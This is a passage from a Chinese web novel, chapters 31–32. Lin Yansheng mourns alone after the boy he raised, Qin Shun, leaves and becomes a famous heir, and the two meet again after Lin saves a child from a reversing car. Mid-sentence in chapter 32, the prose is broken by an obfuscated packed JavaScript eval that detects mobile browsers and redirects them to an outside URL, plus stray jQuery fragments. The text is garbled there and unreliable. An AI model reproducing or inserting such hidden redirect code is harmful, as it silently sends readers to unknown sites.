31


    独居生活分外难捱。


    林砚生花了极长一段时间适应孤独，像重活一回。


    最初的两个月，几乎每晚都在无聊空洞地哭泣。


    他才发现，自己身体里原来有这么多泪水，怎么流也流不完。


    他梦见秦舜。


    梦里总还是那个小阿舜，孩子样，眼神温驯依赖。转瞬又变成大阿舜，同一张脸，没有笑了，一双大的、漆黑的眼珠，黑的发疼，一眨不眨地望住自己。


    五年了。


    他一闭上眼，眼前仍是那滴缀在阿舜睫尖的血，在晃啊晃。


    秦舜刚走那会儿，罗耀山来看他，说怕他想不开。


    “不，二十岁才配想不开，年轻时哪怕一事无成，死了也能被人说一句英年早逝。而我，我现在找死已太迟。”他自嘲地笑笑，“你看，我还有幽默感，有得救。”


    “可是，砚生，我担心你。”


    “你记不记得高中时，我爷爷去世，第二天却是大考，我蒙头睡一觉，还不是按时参加？”


    漫无边际地絮叨一会儿。


    罗耀山忍不住，“既然秦舜不回来了，不如你搬去我家住，我可保护你。”


    怔一下，“不要。”


    他说。


    “为什么不？”罗耀山不管三七二十一地来抓住他的手。


    林砚生极少在外透露自己和罗耀山的交情。


    刚听说的人都很惊讶，仿佛听到什么无比荒谬的笑话。


    这朋友终究是做不下去了。


    他牵牵嘴角，“你也觉得我没人照顾就活不下去吗？不至于的。我是成年男人，有自己一份工作，收入微薄，也足够我自给自足，与世无争。”


    他的声音是冷静的、平淡的，没有一丝激动。


    不欢而散。


    家里的每一个角落都有秦舜的痕迹。无论他看到什么，都会引起回忆，最后实在住不下去，出去租房。旧房又舍不得被人糟蹋，空放着。


    隔年春。


    又到世贞的忌日。


    上午九点至下午四点半，是灰灵安置所对外开放，供人祭拜的时间。


    林砚生四点才到。


    结果找了个空。


    他明确记得龛位，绝不会错。


    询问后，管理员告知他，死者的儿子已将骨灰移走，半年前的事。


    也是。


    没钱的时候只好将就，但凡有点钱，合该正经八百地买块风水宝地，才算孝顺。


    “……新址在何处？”林砚生木了很久，问。


    “？”管理员困惑，“我怎么知道？”


    “哦，是的，”他说，“谢谢您，谢谢。”


    那，明年就不用再来了吧？


    他想。


    植着树的天际线上是似远似近的都市钢铁丛林，霓虹灯网张开。


    林砚生握着一球细碎的紫阳花，没搭车，沿着马路，慢慢地、无声地自夕阳步入夜幕中。


    32


    雨停了。


    无风，一玻璃珠光。


    林砚生带着廉价的宿醉苏醒。


    近来，他每晚睡前喝酒——大抵不够格算酗酒，他不海量，一杯就够他住醉乡。


    先洗个澡。


    浇醒灵魂。


    然后他先去楼下档口买一点熟食，再到书摊。


    最上层报纸的新闻头版印着张英俊面孔。英俊的简直让人吓一跳，即便像素模糊也能看出眼神锐利。


    ——是秦舜。


    他仿佛已全然褪去年少青涩，锋芒毕露。


    大约是三年前，他开始逐渐频繁地出现在媒体上。很快，人人都知道秦家的继承之战，半路杀出个厉害的私生子。


    现款、股票、黄金、珠宝、房产、商铺、工厂、种植园……钱再多也没人嫌更多，又要多割一份，谁乐意？


    外人无从得知秦家到底发生了什么。


    总之，一切尘埃落定。


    此期间，秦舜在校创办公司，而后休学，专心经营。


    他个人的资产增长，与他的性格之怪戾一般的引人瞩目。


    曾经的少年秦舜似不复存在了。


    有人骂他，说他黑心黑肺，视人作工具，不讲情面，一无用就抛弃；也有人说他好，起码工钱给足，唯才是用，肱骨都是贫家子弟。


    但林砚生手上并非正经新闻，而是秦舜的花边消息。


    每月都在传，每次换主角。


    林砚生没细看。


    只一眼，万分烧心。


    这几年他没故意单着，相亲过两三回，都没成，他年轻时就不算受女人青睐，随着年纪渐长，愈发乏人问津。


    尽管他知道世上有许多比他优秀的男人，但是，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325260|180715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    由他亲手抚养长大、曾经依靠他生存的孩子，变得让他望尘莫及，这完全是另一码事。


    “林老师，买报纸？”老板问。


    “不。”林砚生回过神，佯装不是故意，把纸面翻反地放回。


    他去出版社送稿子。


    上月老编辑和他唉声叹气，说他们每况愈下，老板打算将整块业务连楼打包出售，敲定本月是最后一期。


    天灰暗，像他的前程。


    正怏怏不乐着。


    一抹红色从眼角蹦过，林砚生随意地一瞥，看见一个三四岁大的小女童从步道蹿出，蹲在车屁股后的盲区捡球。


    司机无察觉，继续在倒车。


    刹那间，他寒毛直竖，不知哪来的勇气，扑到车上。


    “停下！！！”


    “吱——嘎——！”


    小女童哇哇大哭。


    林砚生自己还跌坐在一汪泥水里，先去看孩子有没有出事。


    幸好幸好，有惊无险。


    开车的年轻人满头冷汗地道歉，孩子的母亲后怕莫及地感谢，还有路人在围观，有人问是否要叫警察，等等，汇作一片吵嚷。


    “没事就好。”林砚生说，“不，不，我不过是做应该事。我还有工作要办，快赶不及。”


    这时，他才注意到自己的文件袋从手上不翼而飞。


    四下一看，发现在车轮下。


    林砚生：“……”


    土豆色文件袋被碾破，稿纸散落一地。


    又开始下雨。


    一阵阵废气，泥腥，水霉味包围过来。


    他想，该带把伞的。


    有人在他附近站定脚步，快速地捡齐剩下几张稿纸，递到他面前。


    “谢谢。”林砚生没看便先说。


    他把手在裤子上还干净的地方擦了一把，才去接。


    他猛地发觉这只手眼熟。


    宽大的手掌，粗长的指骨，无名指的骨结的旁边有一道疤痕，与秦舜小时候在糕饼厂打工受伤留下的一模一样。


    一、二、三。


    他定住。


    连缝针数都相同。


    他仍蹲在地上，脖子死僵，抬头看去。


    看清了。


    脸涨得通红。


    “叔叔，你脚崴了，该去医院诊断一下。”


    秦舜伸手扶他，温和地说。